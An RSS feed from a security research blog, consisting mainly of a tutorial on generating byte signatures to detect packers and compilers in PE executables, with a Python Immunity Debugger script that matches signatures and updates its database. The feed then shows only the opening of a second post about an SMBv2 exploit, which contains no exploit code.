<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Researches</title>
	<atom:link href="http://www.abysssec.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing</description>
	<lastBuildDate>Mon, 18 Jan 2010 21:03:51 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Immunity Debugger PeDetect and the art of signature generation</title>
		<link>http://www.abysssec.com/blog/2010/01/immunity-debugger-pedetect-and-the-art-of-signature-generation/</link>
		<comments>http://www.abysssec.com/blog/2010/01/immunity-debugger-pedetect-and-the-art-of-signature-generation/#comments</comments>
		<pubDate>Fri, 01 Jan 2010 10:55:38 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[reversing]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=415</guid>
		<description><![CDATA[hello to you all
i,m really sorry for our late  in posting we really working on lots of things &#8230; before starting about our subject i should  tell you about our advisories and exploits we are not  really full-disclosure believers but still we will post some more exploits and advisories at  :
 http://www.exploit-db.com/author/abysssec 
so stay tuned.
OK [...]]]></description>
			<content:encoded><![CDATA[<p>hello to you all</p>
<p>i,m really sorry for our late  in posting we really working on lots of things &#8230; before starting about our subject i should  tell you about our advisories and exploits we are not  really full-disclosure believers but still we will post some more exploits and advisories at  :</p>
<p><a title="http://www.exploit-db.com/author/abysssec " href="http://www.exploit-db.com/author/abysssec " target="_blank"> http://www.exploit-db.com/author/abysssec </a></p>
<p>so stay tuned.</p>
<p>OK let&#8217;s start  &#8230;.</p>
<p>=========================================</p>
<p>before start if you are not familiar with PE  : The <strong>Portable Executable</strong> (PE) format is a <a title="File format" href="http://en.wikipedia.org/wiki/File_format">file format</a> for <a title="Executable" href="http://en.wikipedia.org/wiki/Executable">executables</a>, <a title="Object file" href="http://en.wikipedia.org/wiki/Object_file">object code</a>, and <a title="Dynamic-link library" href="http://en.wikipedia.org/wiki/Dynamic-link_library">DLLs</a>, used in 32-bit and 64-bit versions of <a title="Microsoft Windows" href="http://en.wikipedia.org/wiki/Microsoft_Windows">Windows</a> <a title="Operating system" href="http://en.wikipedia.org/wiki/Operating_system">operating systems</a>. The term &#8220;portable&#8221; refers to the format&#8217;s versatility in numerous environments of operating system software architecture.</p>
<p style="text-align: left;">for more information  :  http://en.wikipedia.org/wiki/Portable_Executable</p>
<p>- now the first question is what is a signature ?</p>
<p>a signature actually  is what that means but in computer world and more specific in reverse engineering and binary auditing  world a signature is a sequence of  unique instructions (actually their representation op-codes) in target binary.</p>
<p>for better understanding please watch figure 1</p>
<p><img class="aligncenter" title="figure-1" src="http://i46.tinypic.com/2ak9soj.png" alt="" width="629" height="302" /></p>
<p style="text-align: center;">figure 1 &#8211; a c++ compiled binary opened in immunity debugger</p>
<p style="text-align: left;">reminiscence : an <strong>opcode</strong> (<strong>op</strong>eration <strong>code</strong>) is the portion of a <a title="Machine language" href="http://en.wikipedia.org/wiki/Machine_language">machine language</a> <a title="Instruction (computer science)" href="http://en.wikipedia.org/wiki/Instruction_%28computer_science%29">instruction</a> that specifies the operation to be performed.</p>
<p style="text-align: left;">in above figure it have tree red rectangular :</p>
<ul>
<li>first rectangular are RVA (relative virtual address) of instructions</li>
<li>second rectangular are OP-Codes (will be execute)</li>
<li>third rectangular are  readable assembly instructions</li>
</ul>
<p>so we will search for a sequence of unique op-codes (so sequence of instructions)  in our target binary and those byte will be signature of our binary. simple enough eh ?</p>
<p>- what and who need to use a signature ?</p>
<ul>
<li>most of anti-virus (and other anti-things)</li>
<li>and almost all of PE Detection tools</li>
</ul>
<p>so now you can imagine how  an anti-virus company can detect a malware and how  PE-Detection tools  (witch areused for detecting signature in compiled binary and determine compiler / packer / compressor and &#8230; )  works .</p>
<p>- next question is why we need care about signatures:</p>
<ul>
<li> before starting any fuzzing / reversing / auditing project we need to about our target binary</li>
<li> identify binaries those have not any signatures</li>
<li>with them we can speed up our reversing and we can find available tools against our target binary</li>
</ul>
<p>-how we can find signatures in binaries ?</p>
<p>we should search for static and constant location (static instructions) in our file but how we can find them? for answer to this question please watch PE file layout again :</p>
<p style="text-align: center;"><img class="aligncenter" title="PE File" src="http://i49.tinypic.com/iydh1d.gif" alt="" width="153" height="487" /></p>
<p style="text-align: center;">figure 2 &#8211; PE file layout</p>
<p style="text-align: left;">we can search for signatures in a few areas :</p>
<ul>
<li>around program entry point (where program instructions will start execution &#8230;)</li>
<li>from offset (from top to bottom)</li>
</ul>
<p>each executable file have some other locations can be good for generating signature those are :</p>
<ul>
<li>around import table (where functions will be import)</li>
<li>start and end of sections (optional section specially)</li>
<li>name of optional / static sections</li>
<li>&#8230;.</li>
</ul>
<p>so we can just open the executable  under debugger and copy a few OP-Codes from entry point and we are done ? of course not ! because in lots of situations entry point could be change  refer to various factors like :</p>
<ul>
<li>initializing addresses / variables with state of program</li>
<li>if we are in fighting against a packer / compressor / cryptor / there are several technologies they can use for hiding / changing instructions &#8230;</li>
</ul>
<p>note : these changes are more on not &#8220;just compiled binaries&#8221; it means those have a packer / protector and &#8230;.</p>
<p>so how we can find reliable signatures ?</p>
<p>we need to research about variant program situations  and then we can understand which bytes/instructions are constant and which are not then we  can ignore dynamic bytes and rely to static bytes.</p>
<p>before a  real case study i just want explain how packer/protectors works :</p>
<p>a packer will do what it sounds : packing a program. think  about winzip it will comperes the program and actually will decrease size of program .</p>
<p>elementary packers just will compress the portable executable and will change entry point to decompression section for better understanding just watch below figure.</p>
<p style="text-align: center;"><img class="aligncenter" title="packer" src="http://i48.tinypic.com/v58lj6.png" alt="" width="613" height="219" />figure 3 How typical packer runtime works</p>
<p style="text-align: left;">1. Original data is located somewhere in the packer code data section<br />
2. Original data is uncompressed to the originally linked location<br />
3. Control is transferred to original code entry point (OEP)</p>
<p style="text-align: left;">Ok now you know how a basic packer works but today modern packers are not just compressor they will use a lots of anti-debugging  technologies against debugger / disassembler to make reverser life harder. this technologies are out of scope of  this post.</p>
<p style="text-align: left;">Ok for example if we want to make  a signature for a new packer / protector we need to pack / protect variant  executable (it&#8217;s better  to test on different compiler / size)  and then watch which byte of files are changed and which one are static !</p>
<p style="text-align: left;">you can use binary copy option in immunity debugger for starting our test</p>
<p style="text-align: center;"><img class="aligncenter" title="binary copy" src="http://i48.tinypic.com/t0nms2.png" alt="" width="630" height="334" />figure 4 binary copy</p>
<p style="text-align: left;">this program is  packed with a really simple and good packer named FSG.</p>
<p style="text-align: left;">and my first signature will be :</p>
<p style="text-align: left;">87 25 5C AD 41 00 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33</p>
<p style="text-align: left;">so now i need to pack more files and check my selected Op-codes to know which one are changed and then we will replace changed op codes with ?? .  after a few try we will get a signature like  :</p>
<p style="text-align: left;">87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33</p>
<p style="text-align: left;">so if i search for these bytes i can find i can find them in any program those are packed with FSG v2 !</p>
<p style="text-align: left;">this example is really really simple for advanced packer we need really test more bytes to be sure our signature is good enough but from my experience  length between 30-70 byte  from entry point are good enough.</p>
<p style="text-align: left;">if you be smart you will select good instructions like sections those have 16-bit registers and instructions those are not used all times. so an example of really good signature can be below figure (taken from symantec slides) :</p>
<p style="text-align: center;"><img class="aligncenter" title="good signature" src="http://i49.tinypic.com/2vlu168.png" alt="" width="328" height="338" />figure 5 ( a really good signature )</p>
<p style="text-align: left;">OK. now you can make you own signatures just by spending a few time on each target . there are several tools can be use for detecting  signatures if executable most popular of them are :</p>
<ul>
<li>PEiD</li>
<li>RDG Packer Detector</li>
<li>PE Detective</li>
</ul>
<p>but all of them have a same problem not so update signatures ! so if you have a program that is packed by a really new packer or just a few byte take changed from their signature  most of them will fail (intelligent signature detection is out of scope of this post) . so what we can do ? we should have our own database for our job .</p>
<p>so i collect all of existing signature database (those i found) in internet and i removed stupid and duplicated signature from the list those are :</p>
<ul>
<li>BoB at Team PEiD signature database</li>
<li>Panda Security customized signature database</li>
<li>Diablo2002 signature database</li>
<li>ARteam members signature database</li>
<li>SnD members signature database</li>
<li>Fly signature database</li>
<li>and &#8230;</li>
</ul>
<p>after i combined all of their signature databases i changed a few of important signature to be more general and i added some new signature to my list  and my final list right now have around 5064 unique and 4268 from entry point signature.</p>
<p>PEiD can parse external signatures and it&#8217;s nice but i liked to have detection in my debugger so i searched for a signature detection library in python (i like python) and with a quick search i found nice Pefile coded by Ero Carrera can handle all of our requirement in working with PE file not only handling signatures you can download it at :</p>
<p>http://code.google.com/p/pefile/</p>
<p>so i decide to use this library to write a pycommand for immunity debugger fortunately i found a copy of a pefile in immunity debugger lib ! so all i have to do is writing a few line of code that can read my database and test it against my binary and tell me the output .<br />
so here is my complete script also have a option for auto-update  .</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #483d8b;">''</span><span style="color: #483d8b;">'
 This script is for identify packer/protector and compiler used in your target binary
 the first version have more than about 5000 signatures ... we will try to updates signatures monthly
 and for now it will use entry point scaning method ...
&nbsp;
 Tree Important Notes :
 First  the database signatures are reaped by lots of people we should thanks them : BoBSoft at Team PEID  , fly , diablo2oo2 and others you can find their name in list ...
 Second A big thanks to Ero Carrera for his nice python pefile lib the hard part of processing singanutes is done by his library .
 Third  we updated some of signatures and will keep update them monthly  for detection newer version of packers / comprassion algorithm (hopefully) 
&nbsp;
 thanks to nicolas waisman / Muts (offsec) and all of abysssec memebers ...
&nbsp;
 Feel free to contact me with admin [at] abysssec.com
'</span><span style="color: #483d8b;">''</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#import python libraries</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">getopt</span>
<span style="color: #ff7700;font-weight:bold;">import</span> pefile
<span style="color: #ff7700;font-weight:bold;">import</span> immlib
<span style="color: #ff7700;font-weight:bold;">import</span> peutils
<span style="color: #ff7700;font-weight:bold;">import</span> hashlib
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">shutil</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">urllib</span>
&nbsp;
__VERSION__ = <span style="color: #483d8b;">'0.2'</span>
&nbsp;
DESC= <span style="color: #483d8b;">&quot;Immunity PyCommand PeDectect will help you to identfy packer / protection used in target binary&quot;</span>
USAGE = <span style="color: #483d8b;">&quot;!PeDetect&quot;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#global</span>
downloaded = <span style="color: #ff4500;">0</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#Using debugger functionality</span>
imm = immlib.<span style="color: black;">Debugger</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># pedram's urllib_hook</span>
<span style="color: #ff7700;font-weight:bold;">def</span> urllib_hook <span style="color: black;">&#40;</span>idx, <span style="color: #008000;">slice</span>, total<span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">global</span> downloaded
&nbsp;
    downloaded += <span style="color: #008000;">slice</span>
&nbsp;
    completed = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #008000;">float</span><span style="color: black;">&#40;</span>downloaded<span style="color: black;">&#41;</span> / <span style="color: #008000;">float</span><span style="color: black;">&#40;</span>total<span style="color: black;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">100</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> completed <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">100</span>:
        completed = <span style="color: #ff4500;">100</span>
&nbsp;
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;   [+] Downloading new signatures ... %d%%&quot;</span> <span style="color: #66cc66;">%</span> completed<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># Downloader function</span>
<span style="color: #ff7700;font-weight:bold;">def</span> get_it <span style="color: black;">&#40;</span>url, file_name<span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">global</span> downloaded
&nbsp;
    downloaded = <span style="color: #ff4500;">0</span>
    u = <span style="color: #dc143c;">urllib</span>.<span style="color: black;">urlretrieve</span><span style="color: black;">&#40;</span>url, reporthook=urllib_hook<span style="color: black;">&#41;</span>
    <span style="color: #808080; font-style: italic;">#imm.Log(&quot;&quot;)</span>
    <span style="color: #dc143c;">shutil</span>.<span style="color: black;">move</span><span style="color: black;">&#40;</span>u<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>, file_name<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># Calculate MD5Checksum for specific file</span>
<span style="color: #ff7700;font-weight:bold;">def</span> md5checksum<span style="color: black;">&#40;</span>fileName, excludeLine=<span style="color: #483d8b;">&quot;&quot;</span>, includeLine=<span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>:
    m = hashlib.<span style="color: #dc143c;">md5</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">try</span>:
        fd = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>fileName,<span style="color: #483d8b;">&quot;rb&quot;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">IOError</span>:
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Unable to open the file in readmode:&quot;</span>, filename<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">return</span>
    content = fd.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    fd.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> eachLine <span style="color: #ff7700;font-weight:bold;">in</span> content:
        <span style="color: #ff7700;font-weight:bold;">if</span> excludeLine <span style="color: #ff7700;font-weight:bold;">and</span> eachLine.<span style="color: black;">startswith</span><span style="color: black;">&#40;</span>excludeLine<span style="color: black;">&#41;</span>:
            <span style="color: #ff7700;font-weight:bold;">continue</span>
        m.<span style="color: black;">update</span><span style="color: black;">&#40;</span>eachLine<span style="color: black;">&#41;</span>
    m.<span style="color: black;">update</span><span style="color: black;">&#40;</span>includeLine<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> m.<span style="color: black;">hexdigest</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># Simple Usage Function</span>
<span style="color: #ff7700;font-weight:bold;">def</span> usage<span style="color: black;">&#40;</span>imm<span style="color: black;">&#41;</span>:
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;!PeDetect -u (for updating signature ... )&quot;</span> <span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># Auto-Update function</span>
<span style="color: #ff7700;font-weight:bold;">def</span> update<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
&nbsp;
    <span style="color: #808080; font-style: italic;"># Using urlretrieve won't overwrite anything</span>
    <span style="color: #ff7700;font-weight:bold;">try</span>:
        download = <span style="color: #dc143c;">urllib</span>.<span style="color: black;">urlretrieve</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'http://abysssec.com/AbyssDB/Database.TXT'</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">Exception</span> , problem:
        imm.<span style="color: black;">Log</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Error : %s&quot;</span><span style="color: #66cc66;">%</span> problem<span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;"># Computation MD5 cheksum for both existing and our current database</span>
    AbyssDB = md5checksum<span style="color: black;">&#40;</span>download<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
    ExistDB = md5checksum<span style="color: black;">&#40;</span><span style="color: #483d8b;">'Data/Database.TXT'</span><span style="color: black;">&#41;</span>
&nbsp;
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot; [!] Checking for updates ...&quot;</span> , focus=<span style="color: #ff4500;">1</span>, highlight=<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot; [*] Our  database checksum : %s &quot;</span><span style="color: #66cc66;">%</span>AbyssDB<span style="color: black;">&#41;</span>
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot; [*] Your database checksum : %s &quot;</span><span style="color: #66cc66;">%</span>ExistDB<span style="color: black;">&#41;</span>
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> AbyssDB <span style="color: #66cc66;">!</span>= ExistDB:
&nbsp;
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[!] Some update founds updating ....&quot;</span><span style="color: black;">&#41;</span>        
&nbsp;
        <span style="color: #808080; font-style: italic;"># Removing existing one for be sure ...</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">exists</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Data/Database.txt'</span><span style="color: black;">&#41;</span>:
            <span style="color: #dc143c;">os</span>.<span style="color: black;">remove</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Data/Database.txt'</span><span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;"># Download latest database</span>
        <span style="color: #ff7700;font-weight:bold;">try</span>:
            get_it<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;http://abysssec.com/AbyssDB/Database.TXT&quot;</span>, <span style="color: #483d8b;">&quot;Data/Database.txt&quot;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">Exception</span>,mgs:
            <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot; [-] Problem in downloading new database ...&quot;</span> <span style="color: #66cc66;">%</span> mgs
&nbsp;
        imm.<span style="color: black;">log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;   [+] Update Comepelete !&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot; [!] You have our latest database ...&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># Main Fuction</span>
<span style="color: #ff7700;font-weight:bold;">def</span> main<span style="color: black;">&#40;</span>args<span style="color: black;">&#41;</span>:
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> args:
        <span style="color: #ff7700;font-weight:bold;">if</span> args<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>.<span style="color: black;">lower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> == <span style="color: #483d8b;">'-u'</span>:
            update<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">else</span>:
            imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Bad argumant use -u for update ...&quot;</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">return</span>  <span style="color: #483d8b;">&quot;[-] Bad argumant use -u for update ...&quot;</span>
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        <span style="color: #ff7700;font-weight:bold;">try</span>:
            <span style="color: #808080; font-style: italic;"># Getting loded exe path</span>
            path = imm.<span style="color: black;">getModule</span><span style="color: black;">&#40;</span>imm.<span style="color: black;">getDebuggedName</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>.<span style="color: black;">getPath</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">Exception</span>, msg:
            <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot;Error: %s&quot;</span> <span style="color: #66cc66;">%</span> msg
&nbsp;
        <span style="color: #808080; font-style: italic;"># Debugged Name</span>
        name = imm.<span style="color: black;">getDebuggedName</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;"># Loading loaded pe !</span>
        pe = pefile.<span style="color: black;">PE</span><span style="color: black;">&#40;</span>path<span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;"># Loading signatures Database</span>
        signatures = peutils.<span style="color: black;">SignatureDatabase</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Data/Database.TXT'</span><span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;"># Mach the signature using scaning entry point only !</span>
        matched = signatures.<span style="color: black;">match</span><span style="color: black;">&#40;</span>pe , ep_only=<span style="color: #008000;">True</span><span style="color: black;">&#41;</span>        
&nbsp;
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;===================  WwW.Abysssec.com  =======================&quot;</span><span style="color: black;">&#41;</span>
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[*] PeDetect By Shahin Ramezany&quot;</span> , focus=<span style="color: #ff4500;">1</span>, highlight=<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>
        <span style="color: #808080; font-style: italic;">#imm.Log(&quot;=============================================================&quot;)</span>
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[*] Total loaded  signatures : %d&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>signatures.<span style="color: black;">signature_count_eponly_true</span> + signatures.<span style="color: black;">signature_count_eponly_false</span> + signatures.<span style="color: black;">signature_count_section_start</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[*] Total ep_only signatures : %d&quot;</span> <span style="color: #66cc66;">%</span> signatures.<span style="color: black;">signature_count_eponly_true</span><span style="color: black;">&#41;</span>
        <span style="color: #808080; font-style: italic;">#imm.Log(&quot;=============================================================&quot;)</span>
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;"># Signature found or not found !</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> matched:
            imm.<span style="color: black;">log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[*] Processing : %s &quot;</span> <span style="color: #66cc66;">%</span> name<span style="color: black;">&#41;</span>
            imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[+] Signature Found  : %s &quot;</span>   <span style="color: #66cc66;">%</span> matched , focus=<span style="color: #ff4500;">1</span>, highlight=<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
            imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">else</span>:
            imm.<span style="color: black;">log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[*] Processing   %s !&quot;</span> <span style="color: #66cc66;">%</span> name<span style="color: black;">&#41;</span>
            imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;   [-] Signatue Not Found !&quot;</span> , focus=<span style="color: #ff4500;">1</span>, highlight=<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
            imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;"># Checking for arguements !</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> args:
            usage<span style="color: black;">&#40;</span>imm<span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot;[+] See log window (Alt-L) for output / result ...&quot;</span></pre></div></div>

<p>for using this script you just need copy PeDetect.py in you PyCommand directory in immunity debugger python then copy Database.TXT in DATA folder in immunity debugger. after this you just need run it from immunity debugger command bar using  !PeDetect  you can see the output of this script against some files&#8230;</p>
<p><img class="aligncenter" title="output1" src="http://i48.tinypic.com/9fuu00.png" alt="" width="432" height="171" /><br />
figure 6 &#8211; output of PeDetect against not packed file</p>
<p style="text-align: center;"><img class="aligncenter" title="packed" src="http://i48.tinypic.com/11l2zk6.png" alt="" width="441" height="168" /><br />
figure 7 &#8211; output against  packed file</p>
<p style="text-align: left;">also this have an argument !PeDetect -u for updating your signature to our latest database. notice that my script will use md5checksum so your changes meaning it won&#8217;t be same as my database and your database will be update automatically.</p>
<p style="text-align: center;"><img class="aligncenter" title="update" src="http://i48.tinypic.com/15nt0ts.png" alt="" width="450" height="122" /></p>
<p style="text-align: center;">figure 8 &#8211; update command</p>
<p>PS : after i wrote this i saw another PyCommand named scanpe wrote by BoB at PeiD it&#8217;s really good and have PE scan option but have not update update so no more new signatures &#8230;</p>
<p style="text-align: left;">references :</p>
<ul>
<li> Automatic Generation of String Signatures for Malware Detection</li>
<li>Signature Generation by korupt (http://korupt.co.uk)</li>
<li>Team PEiD forums</li>
<li>Immunity Debugger online documentation</li>
<li>FSecure &#8211; reverse engineering slides</li>
<li>My time</li>
</ul>
<p style="text-align: left;">download PeDetect (database + pycommand) from : (please read the ReadMe.txt for installation guide)</p>
<p><a title="http://www.abysssec.com/files/PeDetect.zip" href="http://www.abysssec.com/files/PeDetect.zip" target="_blank">http://www.abysssec.com/files/PeDetect.zip</a></p>
<p style="text-align: left;">
<p>happy new years !</p>
<p style="text-align: left;">cheers</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px;"><a href="http://www.abysssec.com/files/PeDetect.zip">The <strong>Portable Executable</strong> (PE) format is a </a><a title="File format" href="http://en.wikipedia.org/wiki/File_format">file format</a> for <a title="Executable" href="http://en.wikipedia.org/wiki/Executable">executables</a>, <a title="Object file" href="http://en.wikipedia.org/wiki/Object_file">object code</a>, and <a title="Dynamic-link library" href="http://en.wikipedia.org/wiki/Dynamic-link_library">DLLs</a>, used in 32-bit and 64-bit versions of <a title="Microsoft Windows" href="http://en.wikipedia.org/wiki/Microsoft_Windows">Windows</a> <a title="Operating system" href="http://en.wikipedia.org/wiki/Operating_system">operating systems</a>. The term &#8220;portable&#8221; refers to the format&#8217;s versatility in numerous environments of operating system software architecture.</div>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2010/01/immunity-debugger-pedetect-and-the-art-of-signature-generation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exploiting Vista / 2008 Using SMBV2 Exploit</title>
		<link>http://www.abysssec.com/blog/2009/10/exploiting-vista-2008-using-smbv2-exploit/</link>
		<comments>http://www.abysssec.com/blog/2009/10/exploiting-vista-2008-using-smbv2-exploit/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 15:37:10 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=404</guid>
		<description><![CDATA[hello all
in a few recent days i worked on smbv2 ProcessID Function Table Dereference vulnerability and after lots of work actually i got my shell after kostya and rest of Immunity. but there is a good news for you Stephen Fewer finally released his exploit for metasploit too.
a note : stephen exploit is no so [...]]]></description>
			<content:encoded><![CDATA[<p>hello all</p>
<p>in a few recent days i worked on smbv2 ProcessID Function Table Dereference vulnerability and after lots of work actually i got my shell after kostya and rest of Immunity. but there is a good news for you <a href="http://harmonysecurity.com/">Stephen Fewer</a> finally released his exploit for metasploit too.</p>
